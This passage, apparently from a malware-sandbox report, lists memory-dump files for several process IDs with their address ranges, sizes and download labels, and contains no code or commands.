Filesize
32KB

Download
memory/2796-23-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2796-25-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2796-20-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2796-24-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2796-19-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2796-22-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2856-48-0x0000000000A20000-0x0000000000AA0000-memory.dmp

Filesize
512KB

Download
memory/2856-49-0x0000000000A20000-0x0000000000AA0000-memory.dmp

Filesize
512KB

Download
memory/2856-46-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2856-45-0x0000000000A20000-0x0000000000AA0000-memory.dmp

Filesize
512KB

Download
memory/2856-44-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2856-50-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/2856-47-0x0000000000A20000-0x0000000000AA0000-memory.dmp

Filesize
512KB

Download
memory/3028-27-0x000000013F410000-0x000000013F621000-memory.dmp

Filesize
2.1MB

Download
memory/3028-0-0x000000013F410000-0x000000013F621000-memory.dmp

Filesize
2.1MB

Download